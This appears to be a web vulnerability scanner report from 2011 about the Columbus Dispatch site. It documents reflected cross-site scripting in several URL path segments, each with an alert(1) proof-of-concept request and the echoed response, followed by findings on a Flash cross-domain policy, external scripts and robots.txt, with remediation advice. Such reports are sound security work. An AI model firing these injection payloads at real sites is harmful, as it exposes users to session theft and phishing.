Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac546'%3balert(1)//ea3ac135c31 was submitted in the REST URL parameter 3. This input was echoed as ac546';alert(1)//ea3ac135c31 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /live/content/local_newsac546'%3balert(1)//ea3ac135c31/stories/2011/02/07/hoffman-confession.html HTTP/1.1 Host: www.dispatch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 08 Feb 2011 18:34:44 GMT Set-Cookie: _DispatchClientID_=12971900848610.901225777651176; Expires=Sun, 26-Feb-2079 21:48:51 GMT; Path=/ Cache-Control: no-cache Set-Cookie: JSESSIONID=504D12330037FA4C9504CD480BB9FDA5.appn17009; Path=/ Content-Type: text/html;charset=UTF-8 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ...[SNIP]... S.addEntry ({ title:'The Columbus Dispatch - Local\/State', summary:'Dispatch | Dispatch Printing Company Affliate Site', url:'http://www.dispatch.com/live/content/local_newsac546';alert(1)//ea3ac135c31/stories/2011/02/07/hoffman-confession.html', icon: 'http://www.dispatch.com/live/contentit/shared/columbusdispatch.jpg' });
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1894f'%3balert(1)//8d24b5e47e6 was submitted in the REST URL parameter 4. This input was echoed as 1894f';alert(1)//8d24b5e47e6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /live/content/local_news/stories1894f'%3balert(1)//8d24b5e47e6/2011/02/07/hoffman-confession.html HTTP/1.1 Host: www.dispatch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 08 Feb 2011 18:34:48 GMT Set-Cookie: _DispatchClientID_=12971900876060.6380850813904907; Expires=Sun, 26-Feb-2079 21:48:54 GMT; Path=/ Cache-Control: no-cache Set-Cookie: JSESSIONID=BA4BE313B57A1491902421F896E561EF.appn26009; Path=/ Content-Type: text/html;charset=UTF-8 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ...[SNIP]... ry ({ title:'The Columbus Dispatch - Local\/State', summary:'Dispatch | Dispatch Printing Company Affliate Site', url:'http://www.dispatch.com/live/content/local_news/stories1894f';alert(1)//8d24b5e47e6/2011/02/07/hoffman-confession.html', icon: 'http://www.dispatch.com/live/contentit/shared/columbusdispatch.jpg' });
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6b4a'%3balert(1)//0b43acb9ebb was submitted in the REST URL parameter 5. This input was echoed as c6b4a';alert(1)//0b43acb9ebb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /live/content/local_news/stories/2011c6b4a'%3balert(1)//0b43acb9ebb/02/07/hoffman-confession.html HTTP/1.1 Host: www.dispatch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 08 Feb 2011 18:34:51 GMT Set-Cookie: _DispatchClientID_=12971900910100.0549225666915768; Expires=Sun, 26-Feb-2079 21:48:58 GMT; Path=/ Cache-Control: no-cache Set-Cookie: JSESSIONID=DFD558B7197F5CD4C8C9D18B8296116E.appn26009; Path=/ Content-Type: text/html;charset=UTF-8 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ...[SNIP]... ({ title:'The Columbus Dispatch - Local\/State', summary:'Dispatch | Dispatch Printing Company Affliate Site', url:'http://www.dispatch.com/live/content/local_news/stories/2011c6b4a';alert(1)//0b43acb9ebb/02/07/hoffman-confession.html', icon: 'http://www.dispatch.com/live/contentit/shared/columbusdispatch.jpg' });
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 31cec'%3balert(1)//415f70c75db was submitted in the REST URL parameter 6. This input was echoed as 31cec';alert(1)//415f70c75db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /live/content/local_news/stories/2011/0231cec'%3balert(1)//415f70c75db/07/hoffman-confession.html HTTP/1.1 Host: www.dispatch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 08 Feb 2011 18:34:57 GMT Set-Cookie: _DispatchClientID_=12971900971390.20026688882469923; Expires=Sun, 26-Feb-2079 21:49:04 GMT; Path=/ Cache-Control: no-cache Set-Cookie: JSESSIONID=F1B3D48C975125D02F824C8B61668CB8.appn16009; Path=/ Content-Type: text/html;charset=UTF-8 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ...[SNIP]... ({ title:'The Columbus Dispatch - Local\/State', summary:'Dispatch | Dispatch Printing Company Affliate Site', url:'http://www.dispatch.com/live/content/local_news/stories/2011/0231cec';alert(1)//415f70c75db/07/hoffman-confession.html', icon: 'http://www.dispatch.com/live/contentit/shared/columbusdispatch.jpg' });
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b62e'%3balert(1)//85b606590ce was submitted in the REST URL parameter 7. This input was echoed as 5b62e';alert(1)//85b606590ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /live/content/local_news/stories/2011/02/075b62e'%3balert(1)//85b606590ce/hoffman-confession.html HTTP/1.1 Host: www.dispatch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 08 Feb 2011 18:35:00 GMT Set-Cookie: _DispatchClientID_=12971901009140.9464129643012293; Expires=Sun, 26-Feb-2079 21:49:07 GMT; Path=/ Cache-Control: no-cache Set-Cookie: JSESSIONID=D1B691DC94BF99B0D37330B180A67964.appn16009; Path=/ Content-Type: text/html;charset=UTF-8 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ...[SNIP]...
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11d5a'%3balert(1)//5d0799043e4 was submitted in the REST URL parameter 8. This input was echoed as 11d5a';alert(1)//5d0799043e4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /live/content/local_news/stories/2011/02/07/hoffman-confession.html11d5a'%3balert(1)//5d0799043e4 HTTP/1.1 Host: www.dispatch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 08 Feb 2011 18:35:04 GMT Set-Cookie: _DispatchClientID_=12971901044120.2274681103395484; Expires=Sun, 26-Feb-2079 21:49:11 GMT; Path=/ Cache-Control: no-cache Set-Cookie: JSESSIONID=A3089582869CE82EB4211AF7B8324AF6.appn28009; Path=/ Content-Type: text/html;charset=UTF-8 Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ...[SNIP]... bus Dispatch - Local\/State', summary:'Dispatch | Dispatch Printing Company Affliate Site', url:'http://www.dispatch.com/live/content/local_news/stories/2011/02/07/hoffman-confession.html11d5a';alert(1)//5d0799043e4', icon: 'http://www.dispatch.com/live/contentit/shared/columbusdispatch.jpg' });
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.dispatch.com
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Thu, 14 Jan 2010 21:03:55 GMT ETag: "3a230c-172-47d263992e4c0" Accept-Ranges: bytes Content-Type: application/xml Connection: close Date: Tue, 08 Feb 2011 18:33:42 GMT Age: 100 Content-Length: 370
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /live/content/local_news/stories/2011/02/07/hoffman-confession.html HTTP/1.1 Host: www.dispatch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 08 Feb 2011 18:33:30 GMT Server: Apache Cache-Control: max-age=300 Age: 170 Content-Length: 69612 Connection: close Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transit ...[SNIP]... <!-- Javascript --> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script> ...[SNIP]... <!-- SHARETHIS API --> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=3b385b71-49e1-4013-8507-ae1e8e4ed970&type=website&embeds=true&post_services=email%2Cfacebook%2Ctwitter%2Cgbuzz%2Cmyspace%2Cdigg%2Csms%2Cwindows_live%2Cdelicious%2Cstumbleupon%2Creddit%2Cgoogle_bmarks%2Clinkedin%2Cbebo%2Cybuzz%2Cblogger%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cnewsvine&headerfg=%23993300&headerbg=%23808080&headerTitle=The%20Columbus%20Dispatch&button=false"></script> ...[SNIP]... </script>
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.dispatch.com
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Tue, 10 Nov 2009 20:05:31 GMT ETag: "493b0e-74-47809d508b8c0" Accept-Ranges: bytes Content-Type: text/plain Connection: close Date: Tue, 08 Feb 2011 18:33:46 GMT Age: 149 Content-Length: 116